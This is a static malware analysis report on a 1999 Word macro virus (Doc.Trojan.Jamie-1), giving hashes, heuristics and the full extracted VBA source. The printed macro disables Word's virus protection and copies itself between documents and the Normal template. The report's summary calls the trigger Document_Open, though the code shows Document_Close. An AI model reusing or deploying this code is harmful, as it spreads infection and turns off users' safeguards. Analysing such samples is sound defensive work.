Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6f045a44f7db070c…

MALICIOUS

Office (OLE)

31.0 KB Created: 1999-05-23 16:58:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 441fe3b56b4912b93b5651831730b4ed SHA-1: 09bcc3bd3def963beeb9cdf23035fdca80fffe4b SHA-256: 6f045a44f7db070c147e796a20a16fa6e3e34c59120430dd26267be61ce1ecbb
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a Microsoft Word document containing VBA macros, specifically a 'Document_Open' macro. This macro is designed to export a file named 'Jamie.tmp' and then import it back into the document, likely to execute a malicious payload. The macro also modifies the document's description to 'For Jamie...' and the Normal.dot template's description, indicating an attempt to establish persistence or further infection.

Heuristics 3

  • ClamAV: Doc.Trojan.Jamie-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Jamie-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1706 bytes
SHA-256: 02b3eb9f33621ef2f390b157bbacf6ddcd4bcf386b849475d9498c3d91bc1cec
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
On Error Resume Next
Options.VirusProtection = (0 - 0): Options.SaveNormalPrompt = (1 - 1): Options.ConfirmConversions = (2 - 2)
Set AD = ActiveDocument.VBProject.VBComponents.Item(1)
Set NT = NormalTemplate.VBProject.VBComponents.Item(1)
If ActiveDocument.VBProject.Description <> "For Jamie..." Then GoTo ADI
If NormalTemplate.VBProject.Description <> "For Jamie..." Then GoTo NTI
End
ADI:
Set MTI = AD
Set MTC = NT
OPM = "Private Sub Document_Close()"
AII = AD.CodeModule.CountOfLines
ActiveDocument.VBProject.Description = "For Jamie..."
GoTo Install
NTI:
Set MTI = NT
Set MTC = AD
OPM = "Private Sub Document_Open()"
AII = NT.CodeModule.CountOfLines
NormalTemplate.VBProject.Description = "For Jamie..."
GoTo Install
Install:
If AII > 0 Then
 With MTI.CodeModule
  For x = 1 To AII
  .DeleteLines 1
  Next
 End With
End If
If AII <= 1 Then
 MTC.Export ("Jamie.tmp")
 MTI.CodeModule.AddFromFile ("Jamie.tmp")
  For x = 1 To MTI.CodeModule.CountOfLines
   If MTI.CodeModule.Find("Private Sub Document", 1, 1, 1, 20, True, True, True) = False Then MTI.CodeModule.DeleteLines 1
  Next
  MTI.CodeModule.ReplaceLine 1, OPM
 Kill ("Jamie.tmp")
End If
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End Sub
',.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,
' Jamie(Type A - Strand C) By Lys KovicK
' Released: Sunday, May 23, 1999, 11:55
'';';';';';';';';';';';';';';';';';';';';'

Open this report in the interactive analyzer, or submit your own file for analysis.